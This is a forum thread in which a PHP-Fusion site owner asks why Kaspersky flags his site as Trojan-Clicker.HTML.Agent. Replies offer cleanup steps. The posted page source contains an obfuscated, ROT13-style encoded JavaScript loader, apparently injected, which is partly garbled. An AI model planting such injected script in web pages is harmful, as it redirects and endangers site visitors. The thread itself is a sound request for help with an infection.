Oh no! Where's the JavaScript?
Your Web browser does not have JavaScript enabled or does not support JavaScript. Please enable JavaScript on your Web browser to properly view this Web site, or upgrade to a Web browser that does support JavaScript.
Sign In
Not a member yet? Click here to register.

Trojan program Trojan-Clicker.HTML.Agent on my website

Hi everybody,

I have a problem with my website. I'm using PHP-Fusion 6.
Problem is with KAV (Kaspersky AntiVirus). Some users of my website reported that whenever they open my website KAV is reporting to them that website is infected with Trojan program Trojan-Clicker.HTML.Agent.
After that I started to remove every possible javascript on website, Now there is only javascript which is included by PHP-Fusion.
This warning is appearing when users are opening index.php which forward them to news.php. But when they directly open news.php website KAV is not reporting anything.
I think this is problem with Kaspersky 7.0 and 6.0.
Does anybody had similar problem to this?

Edit: I solved this problem on main page. But when users are loging into website KAV is reporting same thing.
I think this is problem with header function in PHP.

Website is www.zupacafe.com
Regards
Emran

Sorry for my bad English.
1. download the latest version of php-fusion and upload it on your site.

2. Make sure, that there are no files on your webserver, which you don't know

3. look into your database and check if there are any entries which look badly

4. change ALL your passwords
my opinions: dont use any anti-virus when u coding a code. smile
CodeDownload  
<A HREF="news.php" >
          Kliknite ovde za ulaz
          <BR>
          Napomena: Clanovi koji koriste Kaspersky AntiVirus imace problem pri prijavljivanju na nas website..
          <SCRIPT LANGUAGE="JavaScript" ></SCRIPT>
          var kco=" shapgvba hmdvx(oz){ine fz,we=\"{v^abRkP9 |V}!6w~pn)@GZro#[$y,`:SO0dMjm&AihU2W;5.lt8fH']u_\\\"q+7BIXNCegs13xT-c(4*z=\",t=\"\",du,dsj,v=\"\",nt;sbe(fz=0;fz
          <oz du="oz.puneNg(fz);dsj=we.vaqrkBs(du);vs(dsj" >
            -1){ nt=((dsj+1)%81-1);vs(nt<=0)nt+=81;v+=we.puneNg(nt-1); } ryfr v+=du;}t+=v;qbphzrag.jevgr(t);}",tuy="";for(mhs=0;mhs
            <kco xcxg="kco.charCodeAt(mhs);if((xcxg" >64 && xcxg<78)||(xcxg>96 && xcxg<110)) xcxg=xcxg+13;</kco>
          </oz>
        </A>



Quote

Agent.A is a trojan-clicker that attempts to redirect infected machines to specified advertisement websites.

Generally, trojan-clickers redirect the user's machine to specified websites on the Internet. This is done to generate high hit counts on those specified websites as part of its advertising agenda. Trojan-clickers may also be used to cause Denial of Service attacks or may be used to link the user to infected or malicious websites.


mm i think you have some strange code in that page. Or you made a sort of redirect that isn't correctly programmed. The Kaspersky AntiVirus scanner might see that as a malicious piece of code. Go trough the steps slaughter explained above. You might have been exposed to a risk.

Also, check your local computer too!
Map your server as drive letter to your system and scan your mapped network drive with a an antivirus/antitrojan tool.

Thread Information
Author
Posted In
Replies
5 posts
Views
2995 times
Last Post
Last updated on 12 years ago
You can view all discussion threads in this forum.
You can start a new discussion thread in this forum.
You cannot reply in this discussion thread.
You cannot start on a poll in this forum.
You cannot upload attachments in this forum.
You can download attachments in this forum.
Users who participated in discussion: s4nder, Wanabo, Basti, emranonline, noxes